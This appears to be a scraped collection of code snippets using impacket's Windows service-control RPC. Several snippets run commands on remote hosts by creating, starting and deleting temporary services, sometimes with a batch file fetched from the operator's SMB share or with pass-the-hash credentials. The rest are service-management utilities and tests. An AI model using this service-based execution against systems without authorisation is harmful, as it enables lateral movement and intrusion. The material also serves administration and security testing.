            batch_file.write(command)

        logging.debug('Hosting batch file with command: ' + command)

        command = self.__shell + '\\\\{}\\{}\\{}'.format(
            local_ip, self.__share_name, self.__batchFile)
        logging.debug('Command to execute: ' + command)

        logging.debug('Remote service {} created.'.format(self.__serviceName))
        resp = scmr.hRCreateServiceW(self.__scmr,
                                     self.__scHandle,
                                     self.__serviceName,
                                     self.__serviceName,
                                     lpBinaryPathName=command,
                                     dwStartType=scmr.SERVICE_DEMAND_START)
        service = resp['lpServiceHandle']

        try:
            logging.debug('Remote service {} started.'.format(
                self.__serviceName))
            scmr.hRStartServiceW(self.__scmr, service)
        except:
            pass
        logging.debug('Remote service {} deleted.'.format(self.__serviceName))
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output_fileless()
Example #41
0
def service_exec(conn, cmd):
    import random
    import string
    from impacket.dcerpc.v5 import transport, srvs, scmr

    service_name = ''.join([random.choice(string.letters) for i in range(4)])

    # Setup up a DCE SMBTransport with the connection already in place
    rpcsvc = conn.get_dce_rpc('svcctl')
    rpcsvc.connect()
    rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
    svcHandle = None
    try:
        print("Opening SVCManager on %s....." % conn.get_remote_host())
        resp = scmr.hROpenSCManagerW(rpcsvc)
        svcHandle = resp['lpScHandle']

        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp = scmr.hROpenServiceW(rpcsvc, svcHandle,
                                       service_name + '\x00')
        except Exception as e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
                raise e  # Unexpected error
        else:
            # It exists, remove it
            scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
            scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])

        print('Creating service %s.....' % service_name)
        resp = scmr.hRCreateServiceW(rpcsvc,
                                     svcHandle,
                                     service_name + '\x00',
                                     service_name + '\x00',
                                     lpBinaryPathName=cmd + '\x00')
        serviceHandle = resp['lpServiceHandle']

        if serviceHandle:
            # Start service
            try:
                print('Starting service %s.....' % service_name)
                scmr.hRStartServiceW(rpcsvc, serviceHandle)
                # is it really need to stop?
                # using command line always makes starting service fail because SetServiceStatus() does not get called
                #print('Stoping service %s.....' % service_name)
                #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
            except Exception as e:
                print(str(e))

            print('Removing service %s.....' % service_name)
            scmr.hRDeleteService(rpcsvc, serviceHandle)
            scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
    except Exception as e:
        print("ServiceExec Error on: %s" % conn.get_remote_host())
        print(str(e))
    finally:
        if svcHandle:
            scmr.hRCloseServiceHandle(rpcsvc, svcHandle)

    rpcsvc.disconnect()
Example #42
0
    def close(self):
        if self._svcmgr is not None:
            if self._rpcsvcctl is not None:
                with contextlib.suppress(Exception):
                    impkt_scmr.hRCloseServiceHandle(self._rpcsvcctl,
                                                    self._svcmgr)
            self._svcmgr = None

        if self._rpcsvcctl is not None:
            with contextlib.suppress(Exception):
                self._rpcsvcctl.disconnect()
            self._rpcsvcctl = None

        if self._smbtransport is not None:
            with contextlib.suppress(Exception):
                self._smbtransport.disconnect()
            self._smbtransport = None

        if self._smbconn is not None:
            with contextlib.suppress(Exception):
                self._smbconn.close()
            self._smbconn = None
Example #43
0
    def execute_remote(self, data):
        if self.__noOutput is False:
            command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 
            if self.__mode == 'SERVER':
                command += ' & ' + self.__copyBack
        else:
            command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 

        command += ' & ' + 'del ' + self.__batchFile 

        logging.info('Command in batch file: {}'.format(command))

        resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
        service = resp['lpServiceHandle']

        try:
           scmr.hRStartServiceW(self.__scmr, service)
        except:
           pass
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output()
Example #44
0
 def __smb_exec(self, command):
     self.__smb_connect()
     rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\svcctl]')
     rpc.set_smb_connection(self.__smb_connection)
     h_scmr = rpc.get_dce_rpc()
     h_scmr.connect()
     h_scmr.bind(scmr.MSRPC_UUID_SCMR)
     h_scmanager = scmr.hROpenSCManagerW(h_scmr)['lpScHandle']
     # Ensure we use a unique service name
     tmp_svc_name = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
     logging.debug('Creating service %s', tmp_svc_name)
     resp = scmr.hRCreateServiceW(h_scmr, h_scmanager, tmp_svc_name, tmp_svc_name,
                                  lpBinaryPathName=command)
     service = resp['lpServiceHandle']
     try:
         scmr.hRStartServiceW(h_scmr, service)
     except Exception:
         pass
     logging.debug('Deleting service %s', tmp_svc_name)
     scmr.hRDeleteService(h_scmr, service)
     scmr.hRCloseServiceHandle(h_scmr, service)
     h_scmr.disconnect()
Example #45
0
    def execute_remote(self, data):
        if self.__noOutput is False:
            command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 
            if self.__mode == 'SERVER':
                command += ' & ' + self.__copyBack
        else:
            command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 

        command += ' & ' + 'del ' + self.__batchFile 

        logging.info('Command in batch file: {}'.format(command))

        resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
        service = resp['lpServiceHandle']

        try:
           scmr.hRStartServiceW(self.__scmr, service)
        except:
           pass
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output()
Example #46
0
    def __createService(self):
        self.__log__(logging.DEBUG, 'Creating service')

        try:
            resp = scmr.hROpenServiceW(
                self.__dcerpc, self.__SVCManager,
                RemoteCmd.REMCOMSVC_SERVICE_NAME + '\x00')
            self.__log__(logging.WARNING,
                         'Service already exists, renewing it')

            try:
                scmr.hRControlService(self.__dcerpc, resp['lpServiceHandle'],
                                      scmr.SERVICE_CONTROL_STOP)
                time.sleep(1)
            except:
                pass

            scmr.hRDeleteService(self.__dcerpc, resp['lpServiceHandle'])
            scmr.hRCloseServiceHandle(self.__dcerpc, resp['lpServiceHandle'])

        except:
            pass

        resp = scmr.hRCreateServiceW(
            self.__dcerpc,
            self.__SVCManager,
            RemoteCmd.REMCOMSVC_SERVICE_NAME + '\x00',
            RemoteCmd.REMCOMSVC_SERVICE_NAME + '\x00',
            lpBinaryPathName=self.__getWritableUNCPath() + '\\' +
            RemoteCmd.REMCOMSVC_REMOTE + '\x00',
            dwStartType=scmr.SERVICE_DEMAND_START,
        )

        resp = scmr.hROpenServiceW(self.__dcerpc, self.__SVCManager,
                                   RemoteCmd.REMCOMSVC_SERVICE_NAME + '\x00')
        self.__service = resp['lpServiceHandle']

        self.__pendingCleanupActions.append((self.__deleteService, 3))
        return
Example #47
0
    def delete_service(self, name):
        if self._svcmgr is None:
            raise RuntimeError("ServiceManager must be open() first")

        svc_handle = None

        try:
            try:
                resp = impkt_scmr.hROpenServiceW(self._rpcsvcctl, self._svcmgr,
                                                 name + "\x00")
                svc_handle = resp["lpServiceHandle"]
            except Exception as exc:
                if str(exc).find("ERROR_SERVICE_DOES_NOT_EXIST") >= 0:
                    return
                else:
                    raise

            try:
                impkt_scmr.hRControlService(self._rpcsvcctl, svc_handle,
                                            impkt_scmr.SERVICE_CONTROL_STOP)
            except Exception as exc:
                if str(exc).find("ERROR_SERVICE_NOT_ACTIVE") < 0:
                    logger.info(
                        f'failed to STOP remote service "{name}": {exc}')

            # time.sleep(2.0)  # TODO: poll service status

            try:
                impkt_scmr.hRDeleteService(self._rpcsvcctl, svc_handle)
            except Exception as exc:
                if str(exc).find("ERROR_SERVICE_DOES_NOT_EXIST") < 0:
                    raise
        finally:
            if svc_handle is not None:
                with contextlib.suppress(Exception):
                    impkt_scmr.hRCloseServiceHandle(self._rpcsvcctl,
                                                    svc_handle)
                svc_handle = None
Example #48
0
    def execute_remote(self, data):
        self.__output = '\\Windows\\Temp\\' + gen_random_string() 
        self.__batchFile = '%TEMP%\\' + gen_random_string() + '.bat'

        if self.__retOutput:
            command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 
        else:
            command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 
        
        command += ' & ' + 'del ' + self.__batchFile 

        logging.debug('Executing command: ' + command)

        resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
        service = resp['lpServiceHandle']

        try:
           scmr.hRStartServiceW(self.__scmr, service)
        except:
           pass
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output()
Example #49
0
    def execute_remote(self, data):
        to_batch = '{} echo {} ^> {} 2^>^&1 > {}'.format(
            self.__shell, data, self.__output, self.__batchFile)
        command = '{} & {} {}'.format(to_batch, self.__shell, self.__batchFile)
        if self.__mode == 'SERVER':
            command += ' & ' + self.__copyBack
        command = '{} & del {}'.format(command, self.__batchFile)
        logging.debug('Executing %s' % command)
        resp = scmr.hRCreateServiceW(self.__scmr,
                                     self.__scHandle,
                                     self.__serviceName,
                                     self.__serviceName,
                                     lpBinaryPathName=command,
                                     dwStartType=scmr.SERVICE_DEMAND_START)
        service = resp['lpServiceHandle']

        try:
            scmr.hRStartServiceW(self.__scmr, service)
        except:
            pass
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output()
Example #50
0
    def test_RControlServiceCall(self):
        dce, rpc_transport = self.connect()
        scHandle = self.get_service_handle(dce)
        lpServiceName = 'CryptSvc\x00'
        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS

        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess)
        resp.dump()

        serviceHandle = resp['lpServiceHandle']

        try:
            req = scmr.RControlService()
            req['hService'] = serviceHandle
            req['dwControl'] = scmr.SERVICE_CONTROL_STOP
            dce.request(req)
        except scmr.DCERPCSessionError as e:
            if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0 and str(
                    e).find('ERROR_SERVICE_NOT_ACTIVE') < 0:
                raise
            pass

        scmr.hRCloseServiceHandle(dce, serviceHandle)
        time.sleep(1)
        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess)
        resp.dump()

        serviceHandle = resp['lpServiceHandle']

        try:
            resp = scmr.hRStartServiceW(dce, serviceHandle, 0, NULL)
            resp.dump()
        except scmr.DCERPCSessionError as e:
            if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') < 0:
                raise
        return
Example #51
0
def service_exec(conn, cmd):
	import random
	import string
	from impacket.dcerpc.v5 import transport, srvs, scmr
	
	service_name = ''.join([random.choice(string.letters) for i in range(4)])

	# Setup up a DCE SMBTransport with the connection already in place
	rpcsvc = conn.get_dce_rpc('svcctl')
	rpcsvc.connect()
	rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
	svcHandle = None
	try:
		print("Opening SVCManager on %s....." % conn.get_remote_host())
		resp = scmr.hROpenSCManagerW(rpcsvc)
		svcHandle = resp['lpScHandle']
		
		# First we try to open the service in case it exists. If it does, we remove it.
		try:
			resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
		except Exception as e:
			if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
				raise e  # Unexpected error
		else:
			# It exists, remove it
			scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
			scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
		
		print('Creating service %s.....' % service_name)
		resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
		serviceHandle = resp['lpServiceHandle']
		
		if serviceHandle:
			# Start service
			try:
				print('Starting service %s.....' % service_name)
				scmr.hRStartServiceW(rpcsvc, serviceHandle)
				# is it really need to stop?
				# using command line always makes starting service fail because SetServiceStatus() does not get called
				#print('Stoping service %s.....' % service_name)
				#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
			except Exception as e:
				print(str(e))
			
			print('Removing service %s.....' % service_name)
			scmr.hRDeleteService(rpcsvc, serviceHandle)
			scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
	except Exception as e:
		print("ServiceExec Error on: %s" % conn.get_remote_host())
		print(str(e))
	finally:
		if svcHandle:
			scmr.hRCloseServiceHandle(rpcsvc, svcHandle)

	rpcsvc.disconnect()
Example #52
0
    def connect(self):
        if self.rrpStarted is not True:
            dce, rpctransport, scHandle = self.connect_scmr()

            desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | \
                            scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS

            resp = scmr.hROpenServiceW(dce, scHandle, 'RemoteRegistry\x00',
                                       desiredAccess)
            resp.dump()
            serviceHandle = resp['lpServiceHandle']

            try:
                resp = scmr.hRStartServiceW(dce, serviceHandle)
            except Exception as e:
                if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') >= 0:
                    pass
                else:
                    raise
            resp = scmr.hRCloseServiceHandle(dce, scHandle)
            self.rrpStarted = True

        rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
        if len(self.hashes) > 0:
            lmhash, nthash = self.hashes.split(':')
        else:
            lmhash = ''
            nthash = ''
        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(self.username, self.password,
                                         self.domain, lmhash, nthash)
        dce = rpctransport.get_dce_rpc()
        #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        dce.connect()
        dce.bind(rrp.MSRPC_UUID_RRP, transfer_syntax=self.ts)
        resp = rrp.hOpenLocalMachine(
            dce,
            MAXIMUM_ALLOWED | rrp.KEY_WOW64_32KEY | rrp.KEY_ENUMERATE_SUB_KEYS)

        return dce, rpctransport, resp['phKey']
 def __restore(self):
     # First of all stop the service if it was originally stopped
     if self.__shouldStop is True:
         logging.info('Stopping service %s' % self.__serviceName)
         scmr.hRControlService(self.__scmr, self.__serviceHandle,
                               scmr.SERVICE_CONTROL_STOP)
     if self.__disabled is True:
         logging.info('Restoring the disabled state for service %s' %
                      self.__serviceName)
         scmr.hRChangeServiceConfigW(self.__scmr,
                                     self.__serviceHandle,
                                     dwStartType=0x4)
     if self.__serviceDeleted is False:
         # Check again the service we created does not exist, starting a new connection
         # Why?.. Hitting CTRL+C might break the whole existing DCE connection
         try:
             rpc = transport.DCERPCTransportFactory(
                 r'ncacn_np:%s[\pipe\svcctl]' %
                 self.__smbConnection.getRemoteHost())
             if hasattr(rpc, 'set_credentials'):
                 # This method exists only for selected protocol sequences.
                 rpc.set_credentials(*self.__smbConnection.getCredentials())
                 rpc.set_kerberos(self.__doKerberos)
             self.__scmr = rpc.get_dce_rpc()
             self.__scmr.connect()
             self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
             # Open SC Manager
             ans = scmr.hROpenSCManagerW(self.__scmr)
             self.__scManagerHandle = ans['lpScHandle']
             # Now let's open the service
             resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle,
                                        self.__tmpServiceName)
             service = resp['lpServiceHandle']
             scmr.hRDeleteService(self.__scmr, service)
             scmr.hRControlService(self.__scmr, service,
                                   scmr.SERVICE_CONTROL_STOP)
             scmr.hRCloseServiceHandle(self.__scmr, service)
             scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
             scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
             rpc.disconnect()
         except Exception, e:
             # If service is stopped it'll trigger an exception
             # If service does not exist it'll trigger an exception
             # So. we just wanna be sure we delete it, no need to
             # show this exception message
             pass
Example #54
0
    def connect(self):
        if self.rrpStarted is not True:
            dce, rpctransport, scHandle = self.connect_scmr()

            desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | \
                            scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS

            resp = scmr.hROpenServiceW(dce, scHandle, 'RemoteRegistry\x00', desiredAccess)
            resp.dump()
            serviceHandle = resp['lpServiceHandle']

            try:
                resp = scmr.hRStartServiceW(dce, serviceHandle )
            except Exception as e:
                if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') >=0:
                    pass
                else:
                    raise
            resp = scmr.hRCloseServiceHandle(dce, scHandle)
            self.rrpStarted = True

        rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
        if len(self.hashes) > 0:
            lmhash, nthash = self.hashes.split(':')
        else:
            lmhash = ''
            nthash = ''
        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
        dce = rpctransport.get_dce_rpc()
        #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        dce.connect()
        dce.bind(rrp.MSRPC_UUID_RRP, transfer_syntax = self.ts)
        resp = rrp.hOpenLocalMachine(dce, MAXIMUM_ALLOWED | rrp.KEY_WOW64_32KEY | rrp.KEY_ENUMERATE_SUB_KEYS)

        return dce, rpctransport, resp['phKey']
 def __restore(self):
     # First of all stop the service if it was originally stopped
     if self.__shouldStop is True:
         logging.info('Stopping service %s' % self.__serviceName)
         scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
     if self.__disabled is True:
         logging.info('Restoring the disabled state for service %s' % self.__serviceName)
         scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
     if self.__serviceDeleted is False:
         # Check again the service we created does not exist, starting a new connection
         # Why?.. Hitting CTRL+C might break the whole existing DCE connection
         try:
             rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
             if hasattr(rpc, 'set_credentials'):
                 # This method exists only for selected protocol sequences.
                 rpc.set_credentials(*self.__smbConnection.getCredentials())
                 rpc.set_kerberos(self.__doKerberos)
             self.__scmr = rpc.get_dce_rpc()
             self.__scmr.connect()
             self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
             # Open SC Manager
             ans = scmr.hROpenSCManagerW(self.__scmr)
             self.__scManagerHandle = ans['lpScHandle']
             # Now let's open the service
             resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
             service = resp['lpServiceHandle']
             scmr.hRDeleteService(self.__scmr, service)
             scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
             scmr.hRCloseServiceHandle(self.__scmr, service)
             scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
             scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
             rpc.disconnect()
         except Exception, e:
             # If service is stopped it'll trigger an exception
             # If service does not exist it'll trigger an exception
             # So. we just wanna be sure we delete it, no need to 
             # show this exception message
             pass
Example #56
0
    def createService(self, handle, share, path):
        LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost()))

        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp =  scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00')
        except Exception, e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0:
                # We're good, pass the exception
                pass
            else:
                raise e
        else:
            # It exists, remove it
            scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle'])
            scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle'])

        # Create the service
        command = '%s\\%s' % (path, self.__binary_service_name)
        try: 
            resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\x00', self.__service_name + '\x00',
                                         lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START)
        except:
            LOG.critical("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost()))
            raise
        else:
            return resp['lpServiceHandle']

    def openSvcManager(self):
        LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost())
        # Setup up a DCE SMBTransport with the connection already in place
Example #57
0
    def doStuff(self, rpctransport):
        dce = rpctransport.get_dce_rpc()
        #dce.set_credentials(self.__username, self.__password)
        dce.connect()
        #dce.set_max_fragment_size(1)
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
        dce.bind(scmr.MSRPC_UUID_SCMR)
        #rpc = svcctl.DCERPCSvcCtl(dce)
        rpc = dce
        ans = scmr.hROpenSCManagerW(rpc)
        scManagerHandle = ans['lpScHandle']
        if self.__action != 'LIST' and self.__action != 'CREATE':
            ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.name+'\x00')
            serviceHandle = ans['lpServiceHandle']

        if self.__action == 'START':
            print "Starting service %s" % self.__options.name
            scmr.hRStartServiceW(rpc, serviceHandle)
            scmr.hRCloseServiceHandle(rpc, serviceHandle)
        elif self.__action == 'STOP':
            print "Stopping service %s" % self.__options.name
            scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
            scmr.hRCloseServiceHandle(rpc, serviceHandle)
        elif self.__action == 'DELETE':
            print "Deleting service %s" % self.__options.name
            scmr.hRDeleteService(rpc, serviceHandle)
            scmr.hRCloseServiceHandle(rpc, serviceHandle)
        elif self.__action == 'CONFIG':
            print "Querying service config for %s" % self.__options.name
            resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle)
            print "TYPE              : %2d - " % resp['lpServiceConfig']['dwServiceType'],
            if resp['lpServiceConfig']['dwServiceType'] & 0x1:
                print "SERVICE_KERNEL_DRIVER ",
            if resp['lpServiceConfig']['dwServiceType'] & 0x2:
                print "SERVICE_FILE_SYSTEM_DRIVER ",
            if resp['lpServiceConfig']['dwServiceType'] & 0x10:
                print "SERVICE_WIN32_OWN_PROCESS ",
            if resp['lpServiceConfig']['dwServiceType'] & 0x20:
                print "SERVICE_WIN32_SHARE_PROCESS ",
            if resp['lpServiceConfig']['dwServiceType'] & 0x100:
                print "SERVICE_INTERACTIVE_PROCESS ",
            print ""
            print "START_TYPE        : %2d - " % resp['lpServiceConfig']['dwStartType'],
            if resp['lpServiceConfig']['dwStartType'] == 0x0:
                print "BOOT START"
            elif resp['lpServiceConfig']['dwStartType'] == 0x1:
                print "SYSTEM START"
            elif resp['lpServiceConfig']['dwStartType'] == 0x2:
                print "AUTO START"
            elif resp['lpServiceConfig']['dwStartType'] == 0x3:
                print "DEMAND START"
            elif resp['lpServiceConfig']['dwStartType'] == 0x4:
                print "DISABLED"
            else:
                print "UNKOWN"

            print "ERROR_CONTROL     : %2d - " % resp['lpServiceConfig']['dwErrorControl'],
            if resp['lpServiceConfig']['dwErrorControl'] == 0x0:
                print "IGNORE"
            elif resp['lpServiceConfig']['dwErrorControl'] == 0x1:
                print "NORMAL"
            elif resp['lpServiceConfig']['dwErrorControl'] == 0x2:
                print "SEVERE"
            elif resp['lpServiceConfig']['dwErrorControl'] == 0x3:
                print "CRITICAL"
            else:
                print "UNKOWN"
            print "BINARY_PATH_NAME  : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1]
            print "LOAD_ORDER_GROUP  : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1]
            print "TAG               : %d" % resp['lpServiceConfig']['dwTagId']
            print "DISPLAY_NAME      : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1]
            print "DEPENDENCIES      : %s" % resp['lpServiceConfig']['lpDependencies'][:-1]
            print "SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1]
        elif self.__action == 'STATUS':
            print "Querying status for %s" % self.__options.name
            resp = scmr.hRQueryServiceStatus(rpc, serviceHandle)
            print "%30s - " % (self.__options.name),
            state = resp['lpServiceStatus']['dwCurrentState']
            if state == scmr.SERVICE_CONTINUE_PENDING:
               print "CONTINUE PENDING"
            elif state == scmr.SERVICE_PAUSE_PENDING:
               print "PAUSE PENDING"
            elif state == scmr.SERVICE_PAUSED:
               print "PAUSED"
            elif state == scmr.SERVICE_RUNNING:
               print "RUNNING"
            elif state == scmr.SERVICE_START_PENDING:
               print "START PENDING"
            elif state == scmr.SERVICE_STOP_PENDING:
               print "STOP PENDING"
            elif state == scmr.SERVICE_STOPPED:
               print "STOPPED"
            else:
               print "UNKOWN"
        elif self.__action == 'LIST':
            print "Listing services available on target"
            #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS )
            #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS )
            #resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL )
            resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle)
            for i in range(len(resp)):
                print "%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1]),
                state = resp[i]['ServiceStatus']['dwCurrentState']
                if state == scmr.SERVICE_CONTINUE_PENDING:
                   print "CONTINUE PENDING"
                elif state == scmr.SERVICE_PAUSE_PENDING:
                   print "PAUSE PENDING"
                elif state == scmr.SERVICE_PAUSED:
                   print "PAUSED"
                elif state == scmr.SERVICE_RUNNING:
                   print "RUNNING"
                elif state == scmr.SERVICE_START_PENDING:
                   print "START PENDING"
                elif state == scmr.SERVICE_STOP_PENDING:
                   print "STOP PENDING"
                elif state == scmr.SERVICE_STOPPED:
                   print "STOPPED"
                else:
                   print "UNKOWN"
            print "Total Services: %d" % len(resp)
        elif self.__action == 'CREATE':
            print "Creating service %s" % self.__options.name
            resp = scmr.hRCreateServiceW(rpc, scManagerHandle,self.__options.name + '\x00', self.__options.display + '\x00', lpBinaryPathName=self.__options.path + '\x00')
        elif self.__action == 'CHANGE':
            print "Changing service config for %s" % self.__options.name
            if self.__options.start_type is not None:
                start_type = int(self.__options.start_type)
            else:
                start_type = scmr.SERVICE_NO_CHANGE
            if self.__options.service_type is not None:
                service_type = int(self.__options.service_type)
            else:
                service_type = scmr.SERVICE_NO_CHANGE

            if self.__options.display is not None:
                display = self.__options.display + '\x00'
            else:
                display = NULL
 
            if self.__options.path is not None:
                path = self.__options.path + '\x00'
            else:
                path = NULL
 
            if self.__options.start_name is not None:
                start_name = self.__options.start_name + '\x00'
            else:
                start_name = NULL 

            if self.__options.password is not None:
                s = rpctransport.get_smb_connection()
                key = s.getSessionKey()
                password = (self.__options.password+'\x00').encode('utf-16le')
                password = encryptSecret(key, password)
            else:
                password = NULL
 

            #resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle,  display, path, service_type, start_type, start_name, password)
            resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path, NULL, NULL, NULL, 0, start_name, password, 0, display)
            scmr.hRCloseServiceHandle(rpc, serviceHandle)
        else:
            print "Unknown action %s" % self.__action

        scmr.hRCloseServiceHandle(rpc, scManagerHandle)

        dce.disconnect()

        return 
Example #58
0
            request['Info']['dwInfoLevel'] = 11
            request['Info']['Union']['tag'] = 11
            request['Info']['Union']['psma']['fIsManagedAccount'] = 1
            # This one doesn't work
            #resp = dce.request(request)
            #self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psma']['fIsManagedAccount'])

        except Exception, e:
            import traceback
            traceback.print_exc()
            print e
            error = True
            pass

        resp = scmr.hRDeleteService(dce, newHandle)
        resp = scmr.hRCloseServiceHandle(dce, newHandle)
        resp = scmr.hRCloseServiceHandle(dce, scHandle)
        if error:
            self.assertTrue( 1 == 0 )
    
    def test_REnumServicesStatusExW(self):
        dce, rpctransport, scHandle  = self.connect()

        request = scmr.REnumServicesStatusExW()
        request['hSCManager'] = scHandle
        request['InfoLevel'] = scmr.SC_STATUS_PROCESS_INFO
        request['dwServiceType'] = scmr.SERVICE_WIN32_OWN_PROCESS
        request['dwServiceState'] = scmr.SERVICE_STATE_ALL
        request['lpResumeIndex'] = NULL
        request['pszGroupName'] = NULL
        request['cbBufSize'] = 0
Example #59
0
    def doStuff(self, rpctransport):
        dce = rpctransport.get_dce_rpc()
        #dce.set_credentials(self.__username, self.__password)
        dce.connect()
        #dce.set_max_fragment_size(1)
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
        dce.bind(scmr.MSRPC_UUID_SCMR)
        #rpc = svcctl.DCERPCSvcCtl(dce)
        rpc = dce
        ans = scmr.hROpenSCManagerW(rpc)
        scManagerHandle = ans['lpScHandle']
        if self.__action != 'LIST' and self.__action != 'CREATE':
            ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.service_name+'\x00')
